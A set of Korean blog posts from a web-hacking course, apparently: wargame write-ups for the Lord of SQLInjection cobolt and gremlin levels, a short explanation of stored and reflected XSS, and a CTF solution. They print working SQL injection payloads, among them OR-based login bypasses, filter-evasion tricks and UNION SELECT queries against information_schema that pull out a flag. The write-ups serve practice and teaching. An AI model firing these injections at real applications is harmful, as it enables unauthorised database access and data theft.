문제

uery : select id from prob_cobolt where id='' and pw=md5('')


<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

 


풀이

if 조건을 보면 id가 'admin'면 되고

쿼리를 보면 pw 부분이 있지만 or 조건으로 true로 만들면된다.

 

 select id from prob_cobolt where id='admin' or '1'='1' and pw=md5('')

위와같은 쿼리를 만들기 위한 쿼리스트링은

id=admin%27+or+%271%27=%271&pw=

 

 

'WarGame > Load of SQLInjection' 카테고리의 다른 글

LOS GOBLIN (문자열 치환)  (0) 2024.03.07
LOS gremlin  (0) 2023.12.22

query : select id from prob_gremlin where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

 

 문제를 보면 해당 테이블에서 아무 데이터만 가져오면 된다.

if($result['id']) solve("gremlin");

where절의 모든 조건을 참으로 만들면 해결

 

 id='gremlin' or 1=1 or '1'='1' and pw='123'

 

https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=gremlin%27+or+1=1+or+%271%27=%271&pw=123

'WarGame > Load of SQLInjection' 카테고리의 다른 글

LOS GOBLIN (문자열 치환)  (0) 2024.03.07
LOS cobolt  (0) 2023.12.22

복습

SQL Injection 시 공란이 제거되어 사용될 수 있는데 이를 해결하기 위한 방법은 여러가지가 존재한다.

Ex1 ) and%0a1=1
Ex) and(1=1)


XSS

사이트 간 스크립팅, 크로스 사이트 스크립팅(영어: Cross-site scripting XSS[*])은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다. 

 

주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다. 이 취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타난다. 이 취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 할 수 있다.

-위키백과-

 


Stored XSS(persistent)

데이터가 서버 혹은 DB에 저장되며 데이터에 Script를 작성하여 응답을 받을 때  Script가 동작하도록 하는 기법이다.

EX) 악성스크립를 작성하여 게시판에 올리게 된다면 이후 해당 게시글을 읽는 사용자의 브라우저에서 악성 스크립트가 실행된다. 

 

즉 악성스크립트가 서버에 저장되기 때문에 지속적으로 피해가 발생하게 된다.

 

response에 alert이 들어간 것을 확인 할 수 있다.
alert을 확인

Relfected XSS

Client가 전달받은 데이터가 화면(HTML 등)에 구성 될 때 사용되는 것은 Stored와 동일하나 게시판의 등록하는 것이 아닌 스크립틀가 포함된 URL을 클릭하는 방식 등으로 사용된다.

 

GET 방식으로 응답을 받을 시 쿼리스트링의 값에 악성 스크립트를 포함하여 실행하게 된다.

 

reflected XSS가 가능한 Page에 alert 스크립트를 입력한 뒤 해당 URL로 접속을 하면

스크립트가 실행

스크립트가 실행 되는 것을 확인 할 수 있다.

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

12주차 CSRF  (1) 2024.01.21
11차 HTML의 DOM 접근  (0) 2024.01.15
8주차 SQL Injection 대상 찾기  (1) 2023.12.18
6주차 union을 사용한 SQL Injection  (0) 2023.11.30
5주차 SQL Ijection  (2) 2023.11.26

SQL Injection Point 4

50

flag를 찾으세요!


 

reqeust body 

option_val=username union select table_name,table_schema,3,4,5,6,7,8,9,10 from information_schema.tables order by 1 #&board_result=aksrl25&board_search=%F0%9F%94%8D&date_from=&date_to=

 

injection

option_val=username union select table_name,table_schema,3,4,5,6,7,8,9,10 from information_schema.tables order by 1

 

flagHere 테이블 확

 

테이블 스키마를 역정

option_val=username union select table_name,table_schema,column_name,4,5,6,7,8,9,10 from information_schema.columns order by 2 desc

 

option_val=username union select idx,flag,3,4,5,6,7,8,9,10 from flagHere #

'웹 해킹 코스 > 과제' 카테고리의 다른 글

11차 문제 풀이 Steal Info  (0) 2024.01.20
XSS 문제풀이 및 보고서 작성하기  (0) 2024.01.01
SQL Injection Point 3  (0) 2023.12.20
SQL Injection Point 2  (0) 2023.12.20
SQL Injection Point 1  (1) 2023.12.18

+ Recent posts